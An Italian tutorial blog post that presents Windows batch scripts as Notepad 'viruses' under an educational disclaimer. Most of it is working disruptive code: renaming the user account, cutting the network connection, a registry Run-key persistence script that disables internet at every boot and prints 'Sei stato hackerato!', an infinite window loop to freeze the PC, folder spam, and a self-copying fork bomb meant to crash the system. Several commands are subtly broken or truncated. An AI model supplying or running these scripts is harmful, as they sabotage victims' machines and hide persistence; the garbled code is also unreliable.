Benvenuti in questa guida tecnica in cui analizzeremo come il semplice Blocco Note (Notepad) di Windows possa essere utilizzato per scrivere script che alterano il funzionamento del sistema. Di seguito, vi mostrerò il codice per creare questi “virus” (che tecnicamente sono dei file Batch), a puro scopo di test ed educazione alla sicurezza informatica. Prima di iniziare, vi chiedo di leggere con attenzione alcune raccomandazioni importanti.
Non mi assumo alcuna responsabilità circa l’utilizzo dei codici presenti in questo articolo. L’unico scopo di questa guida è informativo ed educativo. Tutte le conseguenze causate dall’esecuzione impropria di questi script sul vostro sistema saranno di vostra esclusiva responsabilità.
Tutti gli script mostrati devono essere salvati con l’estensione .bat. Quando utilizzate il Blocco Note, assicuratevi di selezionare “Tutti i file” nel menu di salvataggio e di nominare il documento, ad esempio, come “virus.bat“. Per approfondire il funzionamento di questi eseguibili, potete consultare la documentazione ufficiale dei comandi di Windows.
Cambiare l’username dell’utente locale
@echo off
net user %username% InShadow Forzare l’orario di sistema a 00:00
@echo off
time 00:00 Disabilitare la connessione internet
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all Creare un Loop infinito del Prompt dei Comandi
Il comando start viene interpretato dal sistema operativo per avviare una nuova istanza del Prompt dei Comandi. Programmando un ciclo (loop) che esegue ripetutamente l’istruzione Start, è possibile saturare la memoria RAM e mandare in blocco il PC a causa delle finestre che si aprono ininterrottamente.
: infinitedos
@start
@echo addio…
@start
@Goto infinitedos Disabilitare internet in modo permanente (Modifica di Registro)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /dc:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /dc:windowswimn32.bat /f
echo Sei stato hackerato!
PAUSE Come generare 1.000 cartelle in pochi secondi
@echo off
:top
md %random%
GOTO top Provocare un Crash di sistema in 3 secondi (Fork Bomb)
for /l %%i in (1,1,10000) do (
md %%i
cd %%i
copy "..\bat.bat"
for /l %%i in (1,1,5) do (
start bat.bat
)
cd..
for /l %%i in (1,1,5) do (
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% Domande Frequenti (FAQ) sui file Batch e CMD
Cos’è un file .BAT e a cosa serve esattamente?
Un file .BAT (abbreviazione di Batch) è un documento di testo contenente una sequenza di istruzioni. Quando avviato, l’interprete della riga di comando di Windows (CMD) legge ed esegue questi comandi in sequenza automatizzando operazioni noiose o, come mostrato in questa guida, simulando comportamenti aggressivi per scopi di testing.
È sicuro testare questi script sul mio computer principale?
Assolutamente no. Per preservare la sicurezza informatica dei tuoi dati, è fortemente raccomandato eseguire e testare script che alterano chiavi di registro o connessioni di rete esclusivamente all’interno di una Macchina Virtuale (Virtual Machine) protetta e isolata dal sistema operativo principale.
Posso usare questi codici per imparare le basi della programmazione?
Certamente. Approcciarsi all’utilizzo del Blocco Note per scrivere dei semplici file .BAT è uno dei migliori esercizi propedeutici per capire la logica dei cicli (loop), le variabili di ambiente e l’interazione diretta con le fondamenta amministrative del sistema operativo Windows.






